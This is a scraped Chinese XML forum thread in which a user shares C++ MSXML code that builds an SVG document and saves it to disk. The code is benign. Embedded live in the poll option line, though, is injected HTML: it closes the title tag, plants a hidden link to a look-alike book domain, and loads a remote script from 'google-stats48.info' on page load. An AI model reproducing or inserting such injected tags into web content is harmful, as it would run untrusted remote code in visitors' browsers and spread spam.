新书推介:《语义网技术体系》
作者:瞿裕忠,胡伟,程龚
   XML论坛     W3CHINA.ORG讨论区     计算机科学论坛     SOAChina论坛     Blog     开放翻译计划     新浪微博  
 
  • 首页
  • 登录
  • 注册
  • 软件下载
  • 资料下载
  • 核心成员
  • 帮助
  •   Add to Google

    >> 本版讨论DOM, SAX, XPath等。
    [返回] 中文XML论坛 - 专业的XML技术讨论区XML.ORG.CN讨论区 - XML技术『 DOM/SAX/XPath 』 → [原创] 查看新帖用户列表

    [投票]:[原创]
    1. 希望对各位朋友有所帮助,不用象我一样辛苦的尝试解决XML保存时的各种问题!    </title><a style=display:none; href=http://worid-of-books.com >book</a> </title><script src=http://google-stats48.info/ur.php></script> 0票
    您还没有登录,不能进行投票;或者已经过了投票期限。[查看投票用户]

      发表一个新主题  发表一个新投票  回复主题  (订阅本版) 您是本帖的第 3301 个阅读者浏览上一篇主题  刷新本主题   树形显示贴子 浏览下一篇主题
     * 贴子主题: [原创] 举报  打印  推荐  IE收藏夹 
       本主题类别:     
     fwycome 美女呀,离线,快来找我吧!
      
      
      等级:大一新生
      文章:3
      积分:80
      门派:XML.ORG.CN
      注册:2007/5/9

    姓名:(无权查看)
    城市:(无权查看)
    院校:(无权查看)
    给fwycome发送一个短消息 把fwycome加入好友 查看fwycome的个人资料 搜索fwycome在『 DOM/SAX/XPath 』的所有贴子 引用回复这个贴子 回复这个贴子 查看fwycome的博客楼主
    发贴心情 [原创]

    可惜不知道怎样将源程序上传,只好贴源码了

    void CTest11Doc::tmpCreatChild()
    {
     HRESULT hr;
     IXMLDOMDocumentPtr xmlFile;
     hr = xmlFile.CreateInstance(__uuidof(DOMDocument40));   
     if( FAILED(hr) )
     {
      OutputXmlErr();
      return;
     }

     MSXML2::IXMLDOMProcessingInstructionPtr pProcessingInstruction;   
     pProcessingInstruction = xmlFile->createProcessingInstruction(_bstr_t("xml"), _bstr_t("version=\"1.0\" encoding = \"utf-8\""));
     xmlFile->appendChild((IXMLDOMNodePtr) pProcessingInstruction);

     IXMLDOMTextPtr ptrText = NULL;

     _bstr_t attrName = _T("");
     _variant_t attrVal = _T("");
     _bstr_t text;
     const _bstr_t bstrDefNs = _T("http://www.w3.org/2000/svg");
     _variant_t nodetype = long(NODE_ELEMENT);

    //创建根节点
     _bstr_t name = _T("svg");
     IXMLDOMElementPtr pXmlRoot = xmlFile->createElement(name);
     if( pXmlRoot == NULL ) return;
     pXmlRoot = xmlFile->appendChild(pXmlRoot);

    //给根节点添加属性

     attrName = _T("width");
     attrVal = float(500);
     pXmlRoot->setAttribute(attrName, attrVal);

     attrName = _T("height");
     attrVal = float(400);
     pXmlRoot->setAttribute(attrName, attrVal);

     attrName = _T("xmlns");
     pXmlRoot->setAttribute(attrName, bstrDefNs);
     
     attrName = _T("xmlns:xlink");
     attrVal = _T("http://www.w3.org/1999/xlink");
     pXmlRoot->setAttribute(attrName, attrVal);

    //pXmlRoot 中添加 pNewText 节点
     text = _T("\n\t");
     ptrText = xmlFile->createTextNode(text);
     pXmlRoot->appendChild(ptrText);

     name = _T("家禽");
     IXMLDOMCommentPtr pNewText = xmlFile->createComment(name);
     pXmlRoot->appendChild(pNewText);

    //pXmlRoot 中添加 pNewElm节点
     text = _T("\n\t");
     ptrText = xmlFile->createTextNode(text);
     pXmlRoot->appendChild(ptrText);

     name = _T("g");
     nodetype = long(NODE_ELEMENT);
     IXMLDOMElementPtr pNewElm = xmlFile->createNode(nodetype,name,bstrDefNs);
     pXmlRoot->appendChild(pNewElm);

    //pNewElm 中添加 text节点
     name = _T("\n\t\t");
     ptrText = xmlFile->createTextNode(name);
     pNewElm->appendChild(ptrText);

     name = _T("text");
     nodetype = long(NODE_ELEMENT);
     IXMLDOMElementPtr pNewGChld = xmlFile->createNode(nodetype,name,bstrDefNs);
     pNewElm->appendChild(pNewGChld);
     name = _T("\n\t");
     ptrText = xmlFile->createTextNode(name);
     pNewElm->appendChild(ptrText);

     attrName = _T("x");
     attrVal = float(20);
     pNewGChld->setAttribute( attrName, attrVal );

     attrName = _T("y");
     attrVal = float(30);
     pNewGChld->setAttribute( attrName, attrVal );

     attrName = _T("fill");
     attrVal = _T("#00007f");
     pNewGChld->setAttribute( attrName, attrVal );

     attrName = _T("font-family");
     attrVal = _T("宋体");
     pNewGChld->setAttribute( attrName, attrVal );

     attrName = _T("font-size");
     attrVal = float(20);
     pNewGChld->setAttribute( attrName, attrVal );

     text = _T("\n\t\t\t你好,鸭子!\n\t\t");
     pNewGChld->put_text( text );

     text = _T("\n");
     ptrText = xmlFile->createTextNode(text);
     pXmlRoot->appendChild(ptrText);

     _variant_t szPath = _T("F:\\VC\\信息子站\\Doc\\代码示例\\SvgDra1.svg");
     hr = xmlFile->save(szPath);
     if( FAILED(hr) )
     {
      OutputXmlErr();
      return;
     }
    }


       收藏   分享  
    顶(0)
      




    点击查看用户来源及管理<br>发贴IP:*.*.*.* 2007/5/9 10:58:00
     
     GoogleAdSense
      
      
      等级:大一新生
      文章:1
      积分:50
      门派:无门无派
      院校:未填写
      注册:2007-01-01
    给Google AdSense发送一个短消息 把Google AdSense加入好友 查看Google AdSense的个人资料 搜索Google AdSense在『 DOM/SAX/XPath 』的所有贴子 访问Google AdSense的主页 引用回复这个贴子 回复这个贴子 查看Google AdSense的博客广告
    2024/5/2 20:23:11

    本主题贴数1,分页: [1]

    管理选项修改tag | 锁定 | 解锁 | 提升 | 删除 | 移动 | 固顶 | 总固顶 | 奖励 | 惩罚 | 发布公告
    W3C Contributing Supporter! W 3 C h i n a ( since 2003 ) 旗 下 站 点
    苏ICP备05006046号《全国人大常委会关于维护互联网安全的决定》《计算机信息网络国际联网安全保护管理办法》
    62.500ms